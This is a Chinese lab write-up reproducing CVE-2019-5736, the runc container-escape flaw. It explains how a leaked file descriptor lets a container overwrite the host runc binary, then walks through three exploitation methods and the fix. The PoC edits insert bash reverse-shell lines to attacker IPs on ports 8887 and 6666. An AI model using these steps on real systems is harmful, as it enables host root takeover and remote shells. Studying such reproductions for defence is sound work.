影响版本

  • runc 1.0.0-rc6 及更早版本
  • Docker 18.09.2 之前的版本
  • Kubernetes、LXC、Apache Mesos 等依赖 runc 的容器平台

漏洞原理

CVE-2019-5736 的核心原理是runc 进程在启动容器时未正确隔离自身文件描述符,导致容器内恶意进程可覆盖宿主机的 runc 二进制文件,最终实现容器逃逸并获取宿主机 root 权限。

利用方式:

  • 文件描述符泄露: runc 启动容器时,会通过/proc/self/exe(指向自身二进制文件)创建进程,且未关闭该文件描述符(FD)。容器内的进程可通过/proc/self/fd/访问此泄露的 FD,该 FD 直接指向宿主机上的 runc 二进制文件。
  • 覆盖宿主机 runc: 容器内的恶意进程通过该 FD 以可写方式打开宿主机 runc 文件,循环写入恶意代码。
  • 触发条件:攻击者需控制容器,由于 runc 通常以 root 权限执行,覆盖runc 后,宿主机后续任何调用 runc 的操作(如docker run)都会触发恶意代码,导致攻击者获得宿主机 root 权限。

注:文件描述符用于标识进程打开的文件、设备、管道等资源。runc 作为容器运行时,在启动和管理容器的过程中会涉及大量文件描述符的操作,这些 FD 用于与宿主机的文件系统、设备、管道等进行交互。

环境搭建

安装漏洞版本

1
2
3
4
5
6
7
8
9
10
11
#centos7
yum list docker-ce --showduplicates | sort -r
yum install docker-ce-18.06.1.ce-3.el7 -y

[root@localhost ~]# systemctl start docker.service
[root@localhost ~]# docker -v
Docker version 18.06.1-ce, build e68fc7a
[root@localhost ~]# docker-runc -v
runc version 1.0.0-rc5+dev
commit: 69663f0bd4b60df09991c08812a60108003fa340
spec: 1.0.0

配置进镜像源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 创建Docker配置目录
sudo mkdir -p /etc/docker

# 配置加速器(以阿里云为例,可替换为其他源)
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": [
"https://docker.xuanyuan.me"
]
}
EOF

# 重启Docker服务
sudo systemctl daemon-reload
sudo systemctl restart docker

在受害者机器上启动一个容器,搭建攻击环境

1
2
3
[root@localhost ~]# docker pull nginx
[root@localhost ~]# docker run --name nginx-test -p 8080:80 -d nginx
[root@localhost ~]# docker ps -a

image

漏洞复现

方法一 docker runc触发

POC

此漏洞将覆盖 runc 的实现,这将导致您的系统无法再运行 Docker 容器。请备份 /usr/bin/docker-runc 或 /usr/bin/runc

1
cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#修改mian.go
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.247.135/8887 0>&1"

#go环境
wget https://dl.google.com/go/go1.14.linux-amd64.tar.gz
tar -zxf go1.14.linux-amd64.tar.gz -C /usr/local
vi /etc/profile
#golang env config
export GO111MODULE=on
export GOROOT=/usr/local/go
export GOPATH=/home/gopath
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin
source /etc/profile
# 编译当前目录的 Go 程序,输出为 exp
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o exp main.go

攻击者需要在容器内执行命令,并启动一个用于监听的恶意二进制文件。当有人(攻击者或受害者)利用该docker exec漏洞进入容器时,就会触发漏洞,允许以 root 身份执行代码。

1
2
3
docker cp /root/Desktop/CVE-2019-5736-PoC-master/exp nginx-test:/home
docker exec -it nginx-test /bin/sh
cd home && chmod +x exp && ./exp

image

直接使用host监听8887

image

重新开启另终端进入容器 /bin/sh

1
docker exec -it nginx-test /bin/sh

image

image

方法二 恶意 Docker 镜像

POC

创建一个恶意 Docker 镜像。当该镜像运行时,漏洞利用代码将会触发。无需在容器中执行 exec 操作。

修改 stage2.c

1
const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.247.129/6666 0>&1  &\n";
1
2
3
4
5
6
7
cd cve-2019-5736-poc-iso
docker build -t cve .
docker run -d cve /bin/bash -c "tail -f /dev/null"
cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
docker exec -it docker-id /bin/bash
cd /root && ./run.sh && exit
docker exec -it docker-id /bin/bash

方法三 CDK

CDK 旧版本的

1
2
sudo ./cdk run runc-pwn  //自动检测本地 runc 版本及漏洞情况
sudo ./cdk run runc-pwn --container <容器ID/名称>

修复方式

升级 runc 至 1.0.0-rc7 + 或 Docker 至 18.09.2+